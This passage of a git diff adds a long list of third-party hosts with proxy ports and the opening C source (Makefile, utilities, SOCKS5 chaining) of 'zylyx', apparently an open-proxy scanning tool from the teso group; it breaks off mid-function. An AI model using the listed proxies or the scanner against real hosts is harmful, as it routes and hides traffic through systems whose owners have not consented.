+206.127.0.4:3128 +206.250.5.2:3128 +207.127.181.66:3128 +207.161.251.4:3128 +207.161.251.97:3128 +207.170.68.194:3128 +207.44.20.1:3128 +208.12.121.183:3128 +209.119.227.1:3128 +209.122.45.11:3128 +209.195.128.6:3128 +209.223.14.242:3128 +209.223.14.8:3128 +209.84.192.14:81 +210.168.212.2:3128 +210.63.96.6:3128 +212.29.214.22:3128 +216.20.63.149:81 +24.64.184.93:3128 +4.18.141.3:3128 +62.64.6.130:3128 +ababel.ecm.ub.es:3128 +access.mbnet.mb.ca:3128 +acutwo.christ.acu.edu.au:3128 +adraxp.pd.cnr.it:3128 +albatros.sni.com.tr:3128 +alive2.izu.co.jp:3128 +anubis.ambotco.com:3128 +astro.coig.katowice.pl:3128 +atcjet.net:3128 +athena.kogi.co.jp:3128 +atlas.fh-erfurt.de:3128 +atom.onh.go.jp:3128 +automatix.osc.de:3128 +blue.giph.com.pl:3128 +blue.procoig.com.pl:3128 +blue.sgi.com.pl:3128 +bones.yvrls.lib.wa.us:3128 +bridge.millstream.net:3128 +bwn-pr1.tpgi.com.au:3128 +cachou.nagra-kudelski.ch:3128 +candy.kaynet.or.jp:3128 +cgi.niagara.com:3128 +cobalt.pinehurst.net:3128 +cometas.donin.com:3128 +cougar.aba.net.au:3128 +cx50778-a.alsv1.occa.home.com:3128 +cx63063-a.msnv1.occa.home.com:3128 +dany.ktarn.or.jp:3128 +durnik.unis.no:3128 +earth.njcc.com:3128 +edu.mnet.cz:3128 +eebsd.ee.ncku.edu.tw:3128 +eliapm0.elia.eu.com:3128 +esprit.law.miami.edu:3128 +fafhard.linkline.be:3128 +fcc1701.federation-cc.com.au:3128 +felix.bethelks.edu:3128 +files1.mppmu.mpg.de:3128 +fozzie.cs.pub.ro:3128 +freeway.co.uk:3128 +ftp.yvrls.lib.wa.us:3128 +garbo.ja-ad.com:3128 +gemini.keycomm.it:3128 +geol.geocomp.at:3128 +georgetown.rz-berlin.mpg.de:3128 +golem.maxo.sk:3128 +haar.pipex.net:3128 +hail.pipex.net:3128 +helios.iconn.com.ph:8888 +hisui.icrs.tohoku.ac.jp:3128 +holmes.cib.unibo.it:3128 +homenet.telerama.com:3128 +host_226_254.greennet.gl:80 +hpct2.ct.infn.it:3128 +httpproxy.math.uwaterloo.ca:80 +huahine.netreach.net:80 +huahine.netreach.net:8080 +hulda.boden.se:8000 +humulus.ceg.org.uk:8080 +ibaserver.ub.uni-dortmund.de:8080 +ics1f.b.srv.t-online.de:80 +ics1f.d.srv.t-online.de:80 +ics1f.do.srv.t-online.de:80 +ics1f.f.srv.t-online.de:80 +ics1f.h.srv.t-online.de:80 +ics1f.hh.srv.t-online.de:80 +ics1f.kl.srv.t-online.de:80 +ics1f.l.srv.t-online.de:80 +ics1f.m.srv.t-online.de:80 +ics1f.n.srv.t-online.de:80 +ics1f.og.srv.t-online.de:80 +ics1f.ol.srv.t-online.de:80 +ics1f.s.srv.t-online.de:80 +ics2f.b.srv.t-online.de:80 +ics2f.d.srv.t-online.de:80 +ics2f.do.srv.t-online.de:80 +ics2f.h.srv.t-online.de:80 +ics2f.hh.srv.t-online.de:80 +ics2f.kl.srv.t-online.de:80 +ics2f.l.srv.t-online.de:80 +ics2f.m.srv.t-online.de:80 +ics2f.n.srv.t-online.de:80 +ics2f.og.srv.t-online.de:80 +ics2f.ol.srv.t-online.de:80 +ics2f.s.srv.t-online.de:80 +ics3f.b.srv.t-online.de:80 +ics3f.d.srv.t-online.de:80 +ics3f.do.srv.t-online.de:80 +ics3f.f.srv.t-online.de:80 +ics3f.h.srv.t-online.de:80 +ics3f.hh.srv.t-online.de:80 +ics3f.kl.srv.t-online.de:80 +ics3f.l.srv.t-online.de:80 +ics3f.m.srv.t-online.de:80 +ics3f.n.srv.t-online.de:80 +ics3f.og.srv.t-online.de:80 +ics3f.ol.srv.t-online.de:80 +ics3f.s.srv.t-online.de:80 +id.sedl.org:3128 +igsrsparc7.er.usgs.gov:3128 +iis.cfmeu.asn.au:80 +imsp007.netvigator.com:80 +imsp087.netvigator.com:80 +inc.inc.org.ph:8888 +indigo2.arhitekt.hr:8080 +inel.logitec.ro:8080 +inet-sv.zenon.co.jp:8080 +inet01.cabletel.cz:80 +infodb.fh-reutlingen.de:3128 +infosrv.cip.physik.tu-muenchen.de:80 +inktomi.efortress.com:80 +inktomi.efortress.com:8080 +internet-gw1.hea.com:80 +internet-gw1.hea.com:8080 +intrepid.nt-tech.com.au:80 +iridium.crocker.com:8080 +irnet.teta.it:8080 +iserver02.ci.buffalo.ny.us:80 +isis1.unl.edu:8080 +itc.asa-lawrence.com:80 +ittgr.itttech.com:80 +jaws001.otemae.ac.jp:80 +jpu-ns.jpu.co.jp:8080 +jun1.alaska.edu:80 +jupiter.hrz.tu-freiberg.de:8080 +k-c-s.k-c-s.co.jp:8080 +kanga.pvhs.chico.k12.ca.us:80 +kappa.nsgnet.co.jp:8080 +kasayama.tchs.ac.jp:80 +kct-6.std.kurume-nct.ac.jp:8080 +kidsnet.jeims.co.jp:80 +knold.ballehs.dk:80 +korma.connect-2.net:80 +kreta.kt-net.at:3128 +krishna.wlink.com.np:3128 +krunk2.xmission.com:8000 +kummns.kshosen.ac.jp:8080 +kuramoto.miyamizu.or.jp:8080 +laituri.saunalahti.fi:80 +lancer.sfhs.com:8080 +lang.hry.info.gifu-u.ac.jp:3128 +lang.info.gifu-u.ac.jp:3128 +laura.bris.technet2000.com.au:80 +lemon.frontier.net:80 +leonardo.isec.pt:8080 +liberty.uc.wlu.edu:80 +lina.teta.it:8080 +lina1.opuslibani.org.lb:8080 +linsrv0.staff.kvl.dk:80 +linux.alinet.it:8080 +linux.softec.es:8080 +linux1.hak1.asn-ktn.ac.at:3128 +loki.stockton.edu:8080 +lon-proxy.intensive.net:8080 +lsiserver2.lsi-pi.co.jp:80 +luva.lb.bawue.de:3128 +lwsun4.kyotogakuen-u.ac.jp:8080 +m45135.direcpc.net:8080 +magi.city.minoh.osaka.jp:8080 +magic.brasilnet.net:80 +magic.brasilnet.net:8080 +mail.adls.org.nz:8080 +mail.ceu.edu.pl:8080 +mail.cin.butte.cc.ca.us:8080 +mail.eg.blommer.com:80 +mail.immgmt.com:80 +mail.itdynamics.com:80 +mail.meicompany.com:80 +mail.monroe.cc.mi.us:80 +mail.monroe.cc.mi.us:8080 +mail.nielsen.com.au:80 +mail.paisner.co.uk:80 +mail.startec.net:80 +mail1.jomon.ne.jp:8080 +mailcodata.cosapidata.com.pe:80 +mailhost.cacfoa.fire-uk.org:80 +mailserver.ric.gr:8080 +mar-1.tpgi.com.au:80 +markov.esl.miyazaki-u.ac.jp:3128 +mars.ajusd.org:3128 +mars.icomnet.com:8080 +math.ccu.edu.tw:80 +mayumi.edu.toyama-u.ac.jp:3128 +megami.belgonet.be:80 +megatron.netco.com:8080 +mel-gw1-dsmel.dot.net.au:8080 +mercury.craftec.co.jp:80 +mercury.econ.tohoku.ac.jp:3128 +mercury.fukuoka-wjc.ac.jp:8080 +mfntsv1.u-aizu.ac.jp:80 +mhg.tartu.ee:3128 +mia1-wc1.atlas.digex.net:8080 +mia1-wc2.atlas.digex.net:80 +mirage.cc.toyaku.ac.jp:8080 +mist.pipex.net:3128 +mozu.edu-c.pref.osaka.jp:8080 +msv.hokkai-t-u.ac.jp:8080 +mufasa.petech.ac.za:3128 +muha.swcp.com:3128 +munti.i-next.net:80 +mwd00.honan.ac.jp:8080 +mygale.globetrotter.net:80 +nabel.rz.fh-heilbronn.de:80 +nafni.skyggnir.is:80 +naumburg.intraregio.net:3128 +nc-tor-cache1.connection.ca:80 +nefertari.udd.htu.se:3128 +net.diocesan.school.nz:8080 +netmon2.ecnet.ec:8080 +news.main.teikyo-u.ac.jp:80 +news.styria.co.at:80 +news.uni-leipzig.de:3128 +nis-in.nara-js.co.jp:80 +nl-cache-1.nt.net:80 +nl-cache-1.nt.net:8080 +nor1s005.jungheinrich.de:80 +ns.activet.co.jp:80 +ns.ait.net:8080 +ns.artdev.co.jp:80 +ns.baden-online.de:8080 +ns.blueskystudios.com:8080 +ns.egyptian.net:8080 +ns.funai-tky.co.jp:8080 +ns.gei-aachen.de:80 +ns.hanho.co.kr:8080 +ns.hanil.co.kr:80 +ns.hayashikk.co.jp:80 +ns.hikari-net.co.jp:80 +ns.hiu.ac.jp:80 +ns.htc.net:8080 +ns.infnet.co.jp:80 +ns.intnl.doshisha.ac.jp:8080 +ns.koken-e.co.jp:8080 +ns.lrcx.com:80 +ns.micropac.co.jp:80 +ns.niss.co.jp:80 +ns.ntts.mihama.chiba.jp:80 +ns.sds.co.jp:8080 +ns.seico.co.jp:8080 +ns.toyofuji.co.jp:8080 +ns.tsis.co.jp:80 +ns.urbanmets.co.jp:8080 +ns.varnamo.se:8080 +ns.yaizu.shizuoka.med.or.jp:80 +ns0.ok.is:80 +ns1.dal.devry.edu:80 +ns1.interlinks.net:80 +ns1.isol.net:8080 +ns2.asaka.ne.jp:8080 +ns2.cc.showa-u.ac.jp:80 +ns2.neuquen.com.ar:8080 +nsb-sv1.nag.ac.jp:80 +nsccorp.static.shore.net:80 +nt-server.rejsby-euro-sk.dk:80 +nt1.rocori.k12.mn.us:80 +ntserv.ipch.ynu.ac.jp:8080 +ntserver.sitcom.co.il:80 +ocelot.iis.sinica.edu.tw:3128 +odinn.ismennt.is:8080 +offler.44whit.router.easynet.net:3128 +offler.44whit.router.easynet.net:80 +offler.44whit.router.easynet.net:8080 +ofur.nett.is:8080 +omega.pha.adelphia.net:8080 +omega.pit.adelphia.net:8080 +onestone.elsinore.klever.net:80 +onions.mcc.wwwcache.ja.net:8080 +onions.wwwcache.ja.net:8080 +oproxy.cvzoom.net:80 +ord1-wc1.atlas.digex.net:80 +ord1-wc1.atlas.digex.net:8080 +ord1-wc2.atlas.digex.net:80 +ord1-wc2.atlas.digex.net:8080 +oregano.ulcc.wwwcache.ja.net:8080 +othello.ranplc.co.uk:80 +otsun1f.dss.dornier.dasa.de:3128 +ozric.telstra.net:3128 +p198.staff.elmhurst.edu:8080 +p3.uhlencom.de:80 +p55t2p4.thanks.ne.jp:3128 +paiaguas.cgi.ufmt.br:3128 +pan.spark.net.gr:80 +pasco.se.mediaone.net:8080 +pc103.portage.k12.mi.us:80 +pc1879.co.la.ca.us:80 +pc21.hokkoku.co.jp:8080 +pc252.ldss.avonmaitland.on.ca:80 +pcpsps03.kahma.co.jp:8080 +pear.stannet.ne.jp:3128 +pegase.cslacst-jean.qc.ca:8080 +pepper.mcc.wwwcache.ja.net:8080 +pepper.wwwcache.ja.net:8080 +peridot.exp.net.au:3128 +petit.coara.or.jp:8080 +phoenix.bushnet.qld.edu.au:80 +pickup.umpi.maine.edu:8080 +pit1-wc1.atlas.digex.net:80 +pit1-wc1.atlas.digex.net:8080 +pit1-wc2.atlas.digex.net:80 +pit1-wc2.atlas.digex.net:8080 +pix103a.magna.com.au:80 +planck.tvi.cc.nm.us:8080 +plume.medoc-ias.u-psud.fr:3128 +pluto.esso.is:80 +poplar.vanstar.com:8080 +power.atlantis.it:80 +praxis.nsms.net:8080 +pri122.cinet.es:3128 +prima.meduniv.lviv.ua:3128 +proculus.nc.ee:80 +prof.esigetel.fr:8080 +proton.dot.net.au:3128 +proxy-out.multiweb.nl:8080 +proxy.acnielsen.co.nz:8080 +proxy.africaonline.co.zw:8080 +proxy.astronet.gr:80 +proxy.austronet.at:80 +proxy.baiko.ac.jp:80 +proxy.bennett.com.au:80 +proxy.bnet.net.tr:80 +proxy.bresnan.net:8080 +proxy.businessnet.dk:80 +proxy.castagna.it:80 +proxy.coastlink.com.au:80 +proxy.collanaud.qc.ca:80 +proxy.como.socket.net:8080 +proxy.elkgrove.net:80 +proxy.foothill.net:8080 +proxy.gsm.co.jp:80 +proxy.hachiouji.inetc.com:8080 +proxy.happynet.at:80 +proxy.interworx.com.au:8080 +proxy.intnet.mu:8080 +proxy.itn.is:8088 +proxy.jwu.edu:80 +proxy.laurel.k12.ky.us:80 +proxy.lbs-hartberg.ac.at:80 +proxy.library.uq.edu.au:80 +proxy.litetech.com:80 +proxy.micanet.it:80 +proxy.mmail.com.py:8080 +proxy.nec.rit.ac.th:8080 +proxy.netok.net:8080 +proxy.netpower.no:80 +proxy.neustadt.gigabell.net:8080 +proxy.nhtv.nl:8080 +proxy.nownuri.net:80 +proxy.nownuri.net:8080 +proxy.ouverture.it:8080 +proxy.pipemedia.net:8080 +proxy.pit.tcimet.net:8080 +proxy.ricoh-tn.co.jp:8080 +proxy.ruf.uni-freiburg.de:8080 +proxy.sola.com.au:80 +proxy.spidernet.it:8080 +proxy.sti.edu.stockholm.se:80 +proxy.sy1ns.att.net.au:80 +proxy.syd.primus.com.au:80 +proxy.technonet.gr:80 +proxy.warehouse.net:8080 +proxy.web4.net:80 +proxy.webbernet.net:8080 +proxy.wonder.net.tw:80 +proxy.yzu.edu.tw:8080 +proxy0.fhg.de:81 +proxy1-fxp0.netspace.net.au:8080 +proxy1.brunet.bn:8080 +proxy1.cdesd.k12.or.us:80 +proxy1.eunet.no:8080 +proxy1.itcrp.com:8080 +proxy1.phnet.fi:8080 +proxy172.ctc.edu:8080 +proxy2-fxp0.netspace.net.au:8080 +proxy2.hypermax.net.au:80 +proxy2.iso.ch:80 +proxy2.phnet.fi:8080 +proxy2.rdc.cl:80 +proxy2.rdc.cl:8080 +proxy2.wnet.net.th:8080 +proxy2i.rccc.cc.nc.us:80 +proxy3-fxp0.netspace.net.au:80 +proxy3-fxp0.netspace.net.au:8080 +proxy4-fxp0.netspace.net.au:8080 +proxy40.edge.net.au:8080 +proxycf1.grolier.fr:80 +pyromania.cosmos.net.au:80 +q.netunlimited.net:80 +rascal.hoshi.ac.jp:8080 +rcsun1.dss.dornier.dasa.de:3128 +red-brahma.texoma.net:80 +rena.zfn.uni-bremen.de:3128 +renoir.psice.unibo.it:8080 +rhea.chescom.net:8080 +rhino.evansville.edu:80 +ring.mediawars.ne.jp:80 +ring.nacsis.ac.jp:8080 +ringer.etl.go.jp:8080 +riw-cap-2.wyoming.com:80 +riw-cap-21.wyoming.com:80 +riw-cap-25.wyoming.com:80 +riw-cap-30.wyoming.com:80 +riw-cap-4.wyoming.com:80 +riw-cap-44.wyoming.com:80 +riw-cap-8.wyoming.com:80 +rje211.rjevans.com:80 +road-runner.cybersouth.com:80 +road-runner.cybersouth.com:8080 +roadhog.intonet.co.uk:80 +roc-pr1.tpgi.com.au:80 +rosnet.strose.edu:80 +rumpelstilzchen.informatik.uni-bremen.de:3128 +rz100.sari.fh-wuerzburg.de:8080 +rzserv5.fh-lueneburg.de:3128 +s2.optonline.net:8080 +saco.stanford.edu:8000 +saffron.mcc.wwwcache.ja.net:8080 +saffron.wwwcache.ja.net:8080 +salt.mcc.wwwcache.ja.net:8080 +salt.wwwcache.ja.net:8080 +saru.okhotsk.or.jp:8080 +sas.netcam.com.au:80 +scarlett.izavc.tohoku-gakuin.ac.jp:8080 +scce-01.magna.com.au:80 +scce-01.magna.com.au:8080 +scone.ukcore.bt.net:3128 +scpsgate.scps.k12.fl.us:8080 +sekigate_e.sekitech.co.jp:8080 +sendmail2.danbbs.dk:8080 +server.ranet.de:80 +server.saatel.it:80 +server01.cookeville.total-web.net:80 +server1.bisnet.net:80 +server1.concordia.com.ar:80 +server2.coburg.baynet.de:3128 +shakari.micropowersystems.com:8080 +shkmail.tonichi-kokusai-u.ac.jp:8080 +siamit1.siamit.co.th:8080 +simba.customcpu.com:80 +sjc4-wc1.atlas.digex.net:80 +sjc4-wc1.atlas.digex.net:8080 +smokey.opentv.com:8080 +smtp.beissd.com:80 +smtp.uach.cl:8080 +smtpgw.national-city.com:80 +sneezy.fukuoka-wjc.ac.jp:8080 +snow.cc.sapmed.ac.jp:8080 +softy.poptel.org.uk:8080 +sorrel.mcc.wwwcache.ja.net:8080 +sorrel.wwwcache.ja.net:8080 +sow.de:8080 +spark.llc.net:3128 +speed.city-net.com:3128 +speedfreak.shelby.net:8080 +spider.claritas.com:8080 +spidey.dos.nortel.com:8080 +spsdub.sk:3128 +spyder.iusb.edu:3128 +sq.acomp.usf.edu:3128 +sql.enetis.net:80 +squid.interquest.de:80 +squid.mutugoro.or.jp:3128 +squid.netzblick.de:3128 +ss2.inet-osaka.or.jp:8080 +ssd-sv.shonansystem.co.jp:80 +st-207-63-161-115.cm201u.will.k12.il.us:8080 +staff.nm.org:3128 +stargate.acay.com.au:8080 +stimpy.hvision.nl:8080 +storm.physik.tu-cottbus.de:3128 +storm3.netpci.com:80 +storm3.netpci.com:8080 +stpauls.pvt.k12.al.us:8080 +strontia3.harza.com:80 +studiamedia.tut.fi:80 +sub.de-c.ac.jp:8080 +sun.new.co.za:8080 +sun2.math.ntnu.edu.tw:3128 +suse5.hdm-stuttgart.de:80 +susi.rz.uni-jena.de:8080 +suske.planet.net.au:8080 +swallow.cat.net.th:8080 +sweelinck.jlc.net:3128 +syfed.bj.refer.org:80 +syrene.it:80 +syscomy.sys-com.co.jp:8080 +takeyam.life.shimane-u.ac.jp:8080 +tarzan.cc.trincoll.edu:3128 +tbproxy.tokyobunka-unet.ocn.ne.jp:80 +tdone.tudogs.net.au:80 +teen3.teen.k12.ks.us:3128 +telpa.telpa.com.br:80 +tenex1.tenex.com.au:80 +terra.margmidlun.is:8080 +theseus.mcc.wwwcache.ja.net:8080 +theseus.wwwcache.ja.net:8080 +thingy.eng.abdn.ac.uk:80 +thor.ircc.cc.fl.us:80 +thor.lmtas.com:8080 +tibinc.com:80 +tictoc.treko.net.au:3128 +tiger.senai-itajuba.com.br:3128 +tmh199.imsbiz.com:80 +tmpce001.alliedsignal.com:80 +topgun.polymatech.co.jp:8080 +tosh.citylink.co.nz:3128 +totalrecall.idcomm.com:8000 +tp71.tigerpaw.com:80 +tproxy.mecnet.net:80 +tproxy.mecnet.net:81 +trinity2.trinity.pvt.k12.al.us:8080 +trixie.udw.ac.za:3128 +trojan.instra.net.au:80 +ts-1.igrin.co.nz:3128 +tsnet2.telesis-net.co.jp:3128 +tsukasa1.tsukasa-unet.ocn.ne.jp:8080 +turtle.ee.ncku.edu.tw:3128 +twt.mpei.ac.ru:80 +tydeus.tohoku-pharm.ac.jp:3128 +ub3.chchpoly.ac.nz:8080 +umekaika.tsg.ac.jp:3128 +undp.uznet.net:3128 +utfc1.utfors.se:80 +utfc2.utfors.se:80 +utfc2.utfors.se:8080 +utl-122-13.library.utoronto.ca:8080 +uv.silkehs.dk:80 +uxfs.ipc.shimane-u.ac.jp:8080 +vanguard.vg.pdx.edu:80 +venus.clavius.tm.fr:8080 +very.elastic.org:8000 +viken.gs.bergen.hl.no:3128 +vitus.hx.uni-paderborn.de:3128 +vodsvr.kaist.ac.kr:8080 +w3.gix.or.jp:8080 +w3c242.cyf-kr.edu.pl:80 +w3cache.daewoo.com.pl:80 +wall.ba-z.co.jp:8080 +waltz.rahul.net:80 +wapping.uel.ac.uk:8080 +watzmann.tcs.co.at:3128 +wc-ce1.hk.linkage.net:80 +wc-ce1.hk.linkage.net:8080 +web-cache-2.cern.ch:80 +webcache.net:8080 +webcache.us.newbridge.com:80 +webcache1.global-one.at:80 +webcache1.netcarrier.net:80 +webcache1.th.red.net:80 +webcache2.global-one.at:80 +webcache2.th.red.net:80 +webmail.marcusoldham.vic.edu.au:8080 +webproxy.einpgh.org:80 +webserv1.qeliz.ac.uk:80 +webserver.cclslib.org:80 +websurfer.agcs.com:80 +weclrcproxy.valencia.cc.fl.us:8080 +westy.jtwn.k12.pa.us:80 +whale.telstra.net:3128 +willow.flint.umich.edu:3128 +worf-gw.calspan.com:80 +wwspfl-nc-1.atlantic.net:80 +wwspfl-nc-1.atlantic.net:8080 +www-server.sydsjaelland-vuc.dk:80 +www.aknet.is:80 +www.baden-online.de:8080 +www.betanet.it:80 +www.bhak-weiz.ac.at:80 +www.bs.tpl.net:8080 +www.cabletv.com.hk:80 +www.cassvillesd.k12.wi.us:80 +www.ecs.com.tw:80 +www.fcaq.k12.ec:80 +www.hanilgroup.co.kr:8080 +www.health-net.or.jp:8080 +www.hlfkrems.ac.at:80 +www.intwebservice.com:80 +www.isco.com:80 +www.momiji.ne.jp:8080 +www.nidec.co.jp:8080 +www.osaka-dent.ac.jp:80 +www.pixel-server.de:8080 +www.pointel.it:8080 +www.poonglim.co.kr:80 +www.rbe.net.au:8080 +www.rondout.k12.ny.us:80 +www.sls.se:8080 +www.sonet.pt:80 +www.telegraph.spb.ru:8080 +www.unihorn.nl:80 +www.wasserella.com:80 +www2.transport.tas.gov.au:80 +www3.iom.com:80 +www6.cc.showa-u.ac.jp:8080 +wwwcs.lnf.infn.it:8080 +wwwengine.dt.uh.edu:80 +wwwnew.informatik.fh-wiesbaden.de:8080 +wwwproxy.westgroup.com:8080 +wwwproxy1.mwd.dst.ca.us:8080 +xcs.contex.com:80 +xena.cable-lynx.net:3128 +xmail.eatel.com:8080 +xxcal-labs.com:8080 +xyz.office.polbox.pl:8080 +yellow.javanet.com:80 +yourpalsat.netmeg.net:3128 +ys02.yokomori.co.jp:80 +yukige.nrim.go.jp:80 +zenith000.hhs.net:80 +zm4.zptc.co.zw:8080 +zrinyi.zmne.hu:80 diff --git a/other/zylyx/src/Makefile b/other/zylyx/src/Makefile new file mode 100644 index 0000000..05b9167 --- /dev/null +++ b/other/zylyx/src/Makefile @@ -0,0 +1,32 @@ + +# zylyx - makefile +# by scut of teso + +DFLAGS=-Wall +LIBS=-lpthread -lslang +CC=gcc +CFLAGS=$(DFLAGS) +PREFIX=/usr/local + +all: zylyx + +clean: + rm -f *.o + +zylyx: common.o network.o proxy.o screen.o zylyx.c + $(CC) $(CFLAGS) -o zylyx zylyx.c common.o network.o proxy.o screen.o $(LIBS) + strip zylyx + mv zylyx ../ + +common.o: common.c + $(CC) $(CFLAGS) -c common.c + +network.o: network.c + $(CC) $(CFLAGS) -c network.c + +proxy.o: proxy.c + $(CC) $(CFLAGS) -c proxy.c + +screen.o: screen.c + $(CC) $(CFLAGS) -c screen.c + diff --git a/other/zylyx/src/common.c b/other/zylyx/src/common.c new file mode 100644 index 0000000..3f3a99a --- /dev/null +++ b/other/zylyx/src/common.c @@ -0,0 +1,290 @@ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + +#ifdef DEBUG +void +debugp (char *filename, const char *str, ...) +{ + FILE *fp; /* temporary file pointer */ + va_list vl; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + va_start (vl, str); + vfprintf (fp, str, vl); + va_end (vl); + + fclose (fp); + + return; +} + +void +hexdump (char *filename, unsigned char *data, unsigned int amount) +{ + FILE *fp; /* temporary file pointer */ + unsigned int dp, p; /* data pointer */ + const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + fprintf (fp, "\n-packet-\n"); + + for (dp = 1; dp <= amount; dp++) { + fprintf (fp, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (fp, " "); + if ((dp % 16) == 0) { + fprintf (fp, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + fprintf (fp, "\n"); + } + fflush (fp); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (fp, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (fp, " "); + fflush (fp); + } + fprintf (fp, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + } + fprintf (fp, "\n"); + + fclose (fp); + return; +} + +#endif + + +/* m_random + * + * return a random number between `lowmark´ and `highmark´ + */ + +int +m_random (int lowmark, int highmark) +{ + long int rnd; + + /* flip/swap them in case user messed up + */ + if (lowmark > highmark) { + lowmark ^= highmark; + highmark ^= lowmark; + lowmark ^= highmark; + } + rnd = lowmark; + + srandom ((unsigned int) time (NULL)); + rnd += (random () % (highmark - lowmark)); + + /* this is lame, i know :) + */ + return (rnd); +} + + +/* set_tv + * + * initializes a struct timeval pointed to by `tv' to a second value of + * `seconds' + * + * return in any case + */ + +void +set_tv (struct timeval *tv, int seconds) +{ + tv->tv_sec = seconds; + tv->tv_usec = 0; + + return; +} + + +/* xstrupper + * + * uppercase a string `str' + * + * return in any case + */ + +void +xstrupper (char *str) +{ + for (; *str != '\0'; ++str) { + if (*str >= 'a' && *str <= 'z') { + *str -= ('a' - 'A'); + } + } + + return; +} + + +/* concating snprintf + * + * determines the length of the string pointed to by `os', appending formatted + * string to a maximium length of `len'. + * + */ + +void +scnprintf (char *os, size_t len, const char *str, ...) +{ + va_list vl; + char *ostmp = os + strlen (os); + + va_start (vl, str); + vsnprintf (ostmp, len - strlen (os) - 1, str, vl); + va_end (vl); + + return; +} + + +unsigned long int +t_passed (struct timeval *old) +{ + unsigned long int tp; + struct timeval tv; + + if (old == NULL) + return (0); + if (old->tv_sec == 0 && old->tv_usec == 0) + return (0); + + gettimeofday (&tv, NULL); + + tp = ((tv.tv_sec * 1000000) + tv.tv_usec) - + ((old->tv_sec * 1000000) + old->tv_usec); + + return (tp); +} + + +unsigned long int +tdiff (struct timeval *old, struct timeval *new) +{ + unsigned long int time1; + + if (new->tv_sec >= old->tv_sec) { + time1 = new->tv_sec - old->tv_sec; + if ((new->tv_usec - 500000) >= old->tv_usec) + time1++; + } else { + time1 = old->tv_sec - new->tv_sec; + if ((old->tv_usec - 500000) >= new->tv_usec) + time1++; + } + + return (time1); +} + + +/* ipv4_print + * + * padding = 0 -> don't padd + * padding = 1 -> padd with zeros + * padding = 2 -> padd with spaces + */ + +char * +ipv4_print (char *dest, struct in_addr in, int padding) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &in.s_addr; + + strcpy (dest, ""); + + switch (padding) { + case (0): + sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (1): + sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (2): + sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + default: + break; + } + + return (dest); +} + + +void * +xrealloc (void *m_ptr, size_t newsize) +{ + void *n_ptr; + + n_ptr = realloc (m_ptr, newsize); + if (n_ptr == NULL) { + fprintf (stderr, "realloc failed\n"); + exit (EXIT_FAILURE); + } + + return (n_ptr); +} + + +char * +xstrdup (char *str) +{ + char *b; + + b = strdup (str); + if (b == NULL) { + fprintf (stderr, "strdup failed\n"); + exit (EXIT_FAILURE); + } + + return (b); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} diff --git a/other/zylyx/src/common.h b/other/zylyx/src/common.h new file mode 100644 index 0000000..273a83b --- /dev/null +++ b/other/zylyx/src/common.h @@ -0,0 +1,25 @@ + +#include +#include +#include + +#ifndef Z_COMMON_H +#define Z_COMMON_H + +#ifdef DEBUG +void debugp (char *filename, const char *str, ...); +void hexdump (char *filename, unsigned char *data, unsigned int amount); +#endif +int m_random (int lowmark, int highmark); +void set_tv (struct timeval *tv, int seconds); +void xstrupper (char *str); +void scnprintf (char *os, size_t len, const char *str, ...); +unsigned long int t_passed (struct timeval *old); +unsigned long int tdiff (struct timeval *old, struct timeval *new); +char *ipv4_print (char *dest, struct in_addr in, int padding); +void *xrealloc (void *m_ptr, size_t newsize); +char *xstrdup (char *str); +void *xcalloc (int factor, size_t size); + +#endif + diff --git a/other/zylyx/src/network.c b/other/zylyx/src/network.c new file mode 100644 index 0000000..ab0f0f7 --- /dev/null +++ b/other/zylyx/src/network.c @@ -0,0 +1,861 @@ + +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking routines + * based on my hbot networking sources, + * revised, extended and adapted 990405 + * extended, improved and fixed 990430 + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + +int net_readtimeout = NET_READTIMEOUT; +int net_conntimeout = NET_CONNTIMEOUT; +int net_identtimeout = NET_IDENTTIMEOUT; + + +int +net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec) +{ + int s5s; + struct sockaddr_in cs; + + s5s = net_connect (&cs, socks, sport, NULL, 0, sec); + if (s5s == -1) + return (-1); + + if (net_socks_put_s5info (s5s, server, port, sec) == -1) { + close (s5s); + return (-1); + } + return (s5s); +} + + +int +net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec) +{ + int n; + char buff[1024]; + + /* v5 + noauth */ + net_write (s5s, "\x05\x01%c", 0); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + recv (s5s, buff, sizeof (buff), 0); + + /* chain us =) */ + net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + n = recv (s5s, buff, sizeof (buff), 0); + if (buff[1] != 0x00) { + return (-1); + } + return (1); +} + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc 